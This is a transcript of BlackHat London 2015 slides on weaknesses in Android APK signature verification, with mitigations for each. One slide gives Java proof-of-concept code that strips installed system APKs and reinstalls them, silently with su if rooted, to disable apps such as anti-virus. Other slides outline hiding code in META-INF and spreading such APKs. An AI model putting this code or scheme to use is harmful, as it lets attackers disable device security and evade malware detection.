Top Banner
What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015
43

Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Apr 05, 2018

Download

Documents

vandang
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

What can you do to an apk without its private key except repacking?

Peng Xiao Mobile Security of Alibaba

BlackHat London 2015

Page 2: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Security engineer in Mobile Security of AlibabaExploiting and researching vulnerabilities in mobile platforms

About me

Email: [email protected]

Page 3: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Outlines

• Light Attack: Certificate Cheater • Medium Attack: Upgrade DoS • Hard Attack: Hide and Ignite • Serious Attack: Shadows Everywhere

Introduction of APK Verification

New Attack Methods

Summary

Page 4: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

APK Verification

Page 5: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

SEAMLESS APP UPGRADE

Mobile Security of Alibaba

Page 6: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Certificate Cheater

Page 7: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

Page 8: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 9: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

X.509 Certificate

Algorithm ID

Issuer

Validity

Subject

Subject Public Key

Extensions(optional)

Certificate Signature Algorithm

Certificate Signature

Serial Number

Version

Subject Public Key

Page 10: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Modification: Subject/Issuer

• Harm:

• copyright problem

• gain reputation

• mislead the public

Scenario-1: Algorithm ID

Issuer

Validity

Subject

Subject Public Key

Extensions(optional)

Certificate Signature Algorithm

Certificate Signature

Serial Number

Version

Page 11: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Modification: Validity

• Harm:

• valid to expired

• expired signing

• Not applicable in Google Play

• October 22, 2033

Scenario-2: Algorithm ID

Issuer

Validity

Subject

Subject Public Key

Extensions(optional)

Certificate Signature Algorithm

Certificate Signature

Serial Number

Version

Page 12: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Mitigations

Algorithm ID

Issuer

Validity

Subject

Subject Public Key

Extensions(optional)

Certificate Signature Algorithm

Certificate Signature

Serial Number

Version

signer.verify(signer.getPublicKey());

Page 13: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Upgrade DoS

Page 14: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

Page 15: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 16: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Delete any source, except:

• AndroidManifest.xml

• classes.dex

• /META-INFO folder

• Seamless app upgrade:

• the same version No

Procedures:

Page 17: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• DoS any installed app, such as anti-virus apps

• or DoS all system apps without root privilege

• or publish a large-scale DoS malware

Harms:

Page 18: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios//packageName = apks traversing /system/app and /system/priv-app

ZipOutputStream out = new ZipOutputStream(new FileOutputStream(tmp)); InputStream in = null; File f = new File(pm.getApplicationInfo(packageName, 0).sourceDir); ZipEntry ze; ZipFile zf = new ZipFile(f); Enumeration<? extends ZipEntry> allEntries = zf.entries(); while (allEntries.hasMoreElements()) {

ze = allEntries.nextElement(); String n = ze.getName(); //all files are deleted except the 3 listed if (n.contains("AndroidManifest.xml") || n.contains("classes.dex") || n.contains("META-INF") ) { out.putNextEntry(ze); in = zf.getInputStream(ze); int b; while((b=in.read()) != -1) { out.write(b); } }

} //Android upgrade Activity if not rooted:

Intent intent = new Intent(Intent.ACTION_VIEW); intent.setDataAndType(Uri.fromFile(new File(tmp)), "application/vnd.android.package-archive"); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent);

//or pm-install silently if rooted: myShell("/data/data/com.example.poc01/", "su -c \"pm install -r "+ tmp + "\"");

Page 19: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Page 20: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Mitigations

• Compare the amount of sources and digests

Solution 1:

• Enumerate all digests and check their source

Solution 2:

Page 21: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Hide and Ignite

Page 22: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

Page 23: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 24: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

Page 25: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 26: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

Page 27: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 28: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

Page 29: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 30: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Uncompress and copy out the codes

• Ignite hidden codes with measures

• ClassLoader.loadClass()

• Runtime.exec()

Procedures:

• Codes can be encrypted before hiding, and ignited after decryption.

More:

Page 31: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Craft malicious apks

• Or infect valid apks

• installing, upgrading and operating as normal

• To bypass static virus detection and Trojan characteristics detection

Harms:

Page 32: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Page 33: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Mitigations

• unrecognized file?

Others:

• MANIFEST.MF’s integrity

MANIFEST.MF:

• defined length == actual size?

CERT.RSA:

• signer-infos > 1?

SigInfos:

Page 34: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Shadows Everywhere

Page 35: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Android Sources

/META-INFO

MANIFEST.MF

CERT.SF

CERT.RSA

others

a b c …

a.md b.md c.md

MF.md a.md.md b.md.md c.md.md

Certificate(s) CERT.SF.signaturepublic key

Mobile Security of Alibaba

SHADOWS EVERYWHERE

Page 36: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Vulnerabilities

Page 37: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack ScenariosDevice

Sources

/META-INFO

Valid apksbombs

Sources

/META-INFO

Shadows-hidden apks

bombs

app install/upgrade

Sources

/META-INFO

Shadows-hidden apks

bombs

Sources

/META-INFO

Igniter-apk

Class-Loader

bombs

bombs

CALLABORATE ATTACK

Page 38: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Download as many apks as you can and insert shadow bombs.

• Spread these shadows-hidden apks as widely and fast as you can.

• Develop an igniter-apk to use a dynamic ClassLoader or a Runtime.exec()

to ignite hidden bombs.

Procedures:

Page 39: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Attack Scenarios

• Insert MALICIOUS codes into ANY valid apk, without breaking its signature.

• “Bombs” can be planted full of your device, waiting silently for their “igniter”.

• When in single, harmless at all; while in pair, unimagined disaster.

Harms:

Page 40: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Mitigations

• Mitigate those vulnerabilities in “Hide and Ignite”.

Solution 1:

• skip copying META-INFO/ folder in the installation. • keep its public key in /data/system/packages.xml for later app upgrade.

Solution 2:

• Easily and unlimited reading contents in other apks should be banned

• non-free apps in /data/app-asec after android 4.1

Solution 3:

Page 41: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Summary

Page 42: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Mobile Security of Alibaba

Certificate validity doesn’t take any account or verification in apk installations.

DoS any apk in the device without root privilege, including system apks.

Apk sources are well protected by digital signature, but not the /META-INFO folder.

An attacker can easily INSERT MALICIOUS CODES INTO ANY VALID APK, without breaking its signature.

Shadows are everywhere, and no apk is secure.

Page 43: Peng Xiao Mobile Security of Alibaba - Black Hat · What can you do to an apk without its private key except repacking? Peng Xiao Mobile Security of Alibaba BlackHat London 2015

Peng Xiao Mobile Security of Alibaba

Thanks&QABlackHat London 2015